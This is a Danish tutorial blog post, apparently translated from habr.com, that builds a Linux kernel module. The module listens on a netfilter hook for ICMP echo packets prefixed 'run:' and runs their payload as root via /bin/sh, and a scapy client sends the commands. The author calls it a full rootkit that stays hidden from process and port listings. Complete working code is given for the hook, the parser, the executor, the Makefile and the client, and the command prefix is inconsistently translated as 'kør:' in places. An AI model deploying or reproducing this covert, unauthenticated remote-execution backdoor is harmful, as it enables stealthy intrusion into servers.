TL;DR: jeg skriver et kernelmodul, der vil læse kommandoer fra ICMP-payloaden og udføre dem på serveren, selvom din SSH er gået ned. For de mest utålmodige er hele koden på .
Pas på! Erfarne programmører i C risikerer at græde blodige tårer! Jeg kan fejle selv i terminologien, men enhver kritik er velkommen. Indlægget er rettet mod dem, der har en meget overfladisk forståelse af programmering i C og ønsker at kigge ind i Linux' indre.
I kommentarerne til mit første nævnte SoftEther VPN, som kan efterligne nogle 'almindelige' protokoller, især HTTPS, ICMP og endda DNS. Jeg kan kun forestille mig at arbejde med den første, da jeg er godt bekendt med HTTP(S), mens tunneling over ICMP og DNS har jeg måtte sætte mig ind i.

Ja, jeg fandt ud af i 2020, at man kan indsætte vilkårlig payload i ICMP-pakker. Men bedre sent end aldrig! Og da dette kan gøres noget ved, skal det gøres. Da jeg i min hverdag ofte bruger kommandolinjen, herunder via SSH, kom idéen om en ICMP-shell først til mig. Og for at samle et fuldt bullshit-bingo besluttede jeg at skrive det som et Linux-modul i et sprog, som jeg kun har en meget overfladisk forståelse af. En sådan shell vil ikke være synlig i proceslisten, det kan indlæses i kernen og vil ikke ligge på filsystemet, du vil ikke se noget mistænkeligt i listen over lyttende porte. I sine muligheder er dette en fuldgyldig rootkit, men jeg håber at kunne udbygge det og bruge det som en sidst Mulighed-shell, når Load Average er for høj til at logge ind via SSH og udføre mindst echo i > /proc/sysrq-trigger, for at genoprette adgangen uden genstart.
Tag en teksteditor, grundlæggende programmeringsfærdigheder i Python og C, Google og , som man ikke kender på forhånd og som man ikke har noget imod at 'slagte', hvis alt går galt (valgfrit — lokal VirtualBox/KVM/etc) og så kører vi!
Klientdelen
Jeg troede, at jeg skulle skrive et script på omkring 80 linjer til klientdelen, men der fandtes venlige mennesker, der gjorde hele arbejdet for mig. import sys from scapy.all import sr1, IP, ICMPif len(sys.argv) < 3: print('Brug: {} IP "kommando"'.format(sys.argv[0])) exit(0)p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2])) if p: p.show()
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Brug: {} IP "kommando"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])\/ICMP()\/"kør:{}".format(sys.argv[2]))
if p:
p.show() Scriptet tager to argumenter, en adresse og et payload. Før payload sendes, præciseres det med en nøgle kør:, vi skal bruge det for at udelukke pakker med tilfældigt payload.
Kernen kræver privilegier for at kunne lave pakker, så scriptet skal køres med superbruger-rettigheder. Glem ikke at give udførelsesretter og installere selve scapy. I Debian findes der en pakke, der hedder python3-scapy. Nu kan vi tjekke, hvordan det hele fungerer.
Kørsel og output af kommandoen
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Hej, verden!"
Begynd emission:
.Færdig med at sende 1 pakker.
*
Modtog 2 pakker, fik 1 svar, resterende 0 pakker
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-svar
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hej, verden!
Sådan ser det ud i snifferen
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Kører som bruger "root" og gruppe "root". Dette kan være farligt.
Optager på 'wlp1s0'
Ramme 1: 59 bytes på ledningen (472 bits), 59 bytes fanget (472 bits) på interface wlp1s0, id 0
Internetprotokol version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) anmodning)
Kode: 0
Checksum: 0xd603 [korrekt]
[Checksum Status: God]
Identifikator (BE): 0 (0x0000)
Identifikator (LE): 0 (0x0000)
Sekvens nummer (BE): 0 (0x0000)
Sekvens nummer (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 kør:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Længde: 17]
Frame 2: 59 bytes på wire (472 bits), 59 bytes fanget (472 bits) på interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) svar)
Kode: 0
Checksum: 0xde03 [korrekt]
[Checksum Status: God]
Identifikator (BE): 0 (0x0000)
Identifikator (LE): 0 (0x0000)
Sekvens nummer (BE): 0 (0x0000)
Sekvens nummer (LE): 0 (0x0000)
[Anmodningsramme: 1]
[Svarstid: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 kør:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Længde: 17]
^C2 pakker fanget
Payload i svaret ændrer sig ikke.
Kernelmodul
For at bygge i en virtuel maskine med Debian skal du mindst have make og linux-headers-amd64, resten vil blive trukket ind som afhængigheder. Jeg vil ikke inkludere hele koden i artiklen, men du kan klone den fra GitHub.
Opsætning af hook
For at begynde har vi brug for to funktioner til at laste modulen og for at kunne losse den. Funktionen til at losse er ikke obligatorisk, men så kan man ikke rmmod udføre, modulet vil kun blive losset ved afslutning.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Hvad der sker her:
- To header-filer trækkes ind for manipulation af modulen og netfilter.
- Alle operationer går gennem netfilter, hvor hooks kan defineres. For dette skal strukturen deklareres, hvor hooken vil blive konfigureret. Det vigtigste er at angive den funktion, der skal udføres som hook:
nfho.hook = icmp_cmd_executor;jeg vender tilbage til selve funktionen.
Dernæst angav jeg tidspunktet for pakkebehandling:NF_INET_PRE_ROUTINGangiver, at pakken skal behandles, når den først er ankommet til kernen. Man kan brugeNF_INET_POST_ROUTINGtil at behandle pakken ved udgangen fra kernen.
Jeg hænger et filter på IPv4:nfho.pf = PF_INET;.
Jeg giver min hook den højeste prioritet:nfho.priority = NF_IP_PRI_FIRST;
Og jeg registrerer databasens struktur som selve hook:nf_register_net_hook(&init_net, &nfho); - I den afsluttende funktion fjernes hooken.
- Licensen er udtrykkeligt angivet for at undgå, at compileren klager.
- Functions
module_init()ogmodule_exit()definerer andre funktioner som henholdsvis initialiserings- og afslutningsfunktioner for modulet.
Uddrag af payload
Nu skal payloaden hentes, det viste sig at være den vanskeligste opgave. Der er ingen indbyggede funktioner i kernen til at arbejde med payload, man kan kun parse overskrifter fra højere niveau protokoller.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Hvad sker der:
- Jeg måtte inkludere ekstra header filer, denne gang til manipulation af IP- og ICMP-overskrifter.
- Jeg angiver den maksimale længde af strengen:
#define MAX_CMD_LEN 1976. Hvorfor netop denne? Fordi compileret klager over en større længde! Jeg har allerede fået at vide, at jeg skal undersøge stakken og bunken, det vil jeg gøre en dag, og måske endda rette koden. Jeg angiver straks strengen, hvor kommandoen skal være:char cmd_string[MAX_CMD_LEN];. Den skal være synlig i alle funktioner, dette vil jeg uddybe i punkt 9. - Nu skal jeg initialisere (
struct work_struct my_work;) strukturen og forbinde den med endnu en funktion (DECLARE_WORK(my_work, work_handler);). Jeg vil også forklare, hvorfor dette er nødvendigt i punkt ni. - Nu erklærer jeg funktionen, som vil være hooken. Typen og de modtagne argumenter dikteres af netfilteret, vi interesserer os kun for
skb. Dette er socket-bufferen, en fundamental datastruktur, der indeholder alle tilgængelige oplysninger om pakken. - Funktionen vil have brug for to strukturer og flere variabler, inklusive to iteratorer.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - Nu kan vi gå i gang med logikken. Ingen pakker undtagen ICMP Echo er nødvendige for modulens funktion, så vi parser bufferen med de indbyggede funktioner og sorterer al non-ICMP og non-Echo pakker fra. Returnering
NF_ACCEPTbetyder accept af pakken, men I kan også droppe pakkerne og returnereNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Jeg har ikke tjekket, hvad der vil ske uden at kontrollere IP-overskrifterne. Min begrænsede viden om C fortæller mig: Uden yderligere kontrol vil der helt sikkert ske noget forfærdeligt. Jeg vil være glad, hvis I kan overbevise mig om det modsatte!
- Nu, når pakken helt sikkert er af den ønskede type, kan vi udtrække data. Uden en indbygget funktion er jeg nødt til først at få en pointer til begyndelsen af payloaden. Dette gøres ved at tage en pointer til begyndelsen af ICMP-overskriften og flytte den frem til størrelsen af denne overskrift. Alt dette gøres med strukturen
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
Slutningen af overskriften skal stemme overens med slutningen af nyttelasten iskb, så vi får den gennem kernefunktioner fra den tilsvarende struktur:tail = skb_tail_pointer(skb);.
Billedet blev hentet , du kan læse mere om socket-bufferen. - Når du har pegerne på begyndelsen og slutningen, kan du kopiere data ind i strengen
cmd_string, kontrollere den for tilstedeværelsen af et præfikskør:og enten kassere pakken, hvis det mangler, eller skrive strengen om for at fjerne dette præfiks. - Nå, nu kan vi kalde endnu en handler:
schedule_work(&my_work);. Da det ikke er muligt at overføre et parameter i sådan et kald, skal strengen med kommandoen være global.schedule_work()placerer funktionen, der er knyttet til den overførte struktur, på den fælles opgaveplanlægningskø og afsluttes, hvilket tillader ikke at vente på, at kommandoen afsluttes. Dette er nødvendigt, fordi hooket skal være meget hurtigt. Ellers får du enten ingenting til at starte, eller du får en kernel panic. Forsinkelse er lig med døden! - Alt klar, vi kan modtage pakken med den passende returværdi.
Kald af programmet i brugerpladsen
Denne funktion er den mest forståelige. Dens navn blev givet i DECLARE_WORK(), type og acceptede argumenter er ikke interessante. Vi tager strengen med kommandoen og sender den hele vejen til shellen. Lad den selv håndtere parsing, finde binære filer og alt det andet.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Vi angiver argumenter i en array af strenge
argv[]. Jeg antager, at alle ved, at programmer faktisk kører på denne måde og ikke som en sammenhængende streng med mellemrum. - Vi angiver miljøvariabler. Jeg indsatte kun PATH med et minimum af stier, idet jeg antager, at alle allerede har dem samlet
/binmed/usr/binog/sbinmed/usr/sbin. Andre stier betyder sjældent noget i praksis. - Færdig, lad os køre! Kernen
call_usermodehelper()modtager en sti til binæren, en array af argumenter, en array af miljøvariabler. Her antager jeg også, at alle forstår betydningen af at overføre stien til den eksekverbare fil som et separat argument, men du er velkommen til at spørge. Den sidste argument angiver, om processen skal afsluttes (UMH_WAIT_PROC), starte processen (UMH_WAIT_EXEC) eller slet ikke vente (UMH_NO_WAIT). Der er ogsåUMH_KILLABLE, jeg gik ikke i dybden med det.
Kompilering
Opbygningen af kernemoduler udføres gennem kerne-make-rammen. Det kaldes make indeni en særlig mappe knyttet til kernen version (defineres her: KERNELDIR:=/lib/modules/$(shell uname -r)/build), og placeringen af modulet overføres til variablen M i argumenterne. I målene icmpshell.ko og clean anvendes hele denne ramme. I obj-m angiver den objektfil, der skal omdannes til et modul. Syntaksen, som konverterer main.o i icmpshell.o (icmpshell-objs = main.o) virker ikke særlig logisk for mig, men lad det være sådan.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
Vi samler: make. Vi indlæser: insmod icmpshell.ko. Klar, du kan tjekke: sudo ./send.py 45.11.26.232 "date > /tmp/test". Hvis der er oprettet en fil på din maskine /tmp/test og den indeholder datoen for forespørgslen, så har du gjort alt rigtigt, og jeg har gjort alt rigtigt.
Konklusion
Min første erfaring med kerneludvikling viste sig at være meget enklere end forventet. Selvom jeg ikke havde erfaring med at programmere i C, kunne jeg, ved at følge kompilatorens hints og Googles resultater, skrive et fungerende modul og føle mig som en kernel hacker, samt en script kiddie. Derudover kom jeg ind på kanalen Kernel Newbies, hvor det blev foreslået at bruge schedule_work() i stedet for kaldet call_usermodehelper() inde i selve hooken og blev berettet, retfærdigt mistænkt for at være en scam. Hundrede linjer kode kostede mig omkring en uges udvikling i fritiden. En positiv oplevelse, der har nedbrudt min personlige myte om kompleksiteten i systemudvikling.
Hvis nogen ville være villig til at lave en kodeanmeldelse på GitHub, ville jeg sætte pris på det. Jeg er næsten sikker på, at jeg har lavet mange dumme fejl, især når det kommer til arbejdet med strenge.
Kilde: habr.com

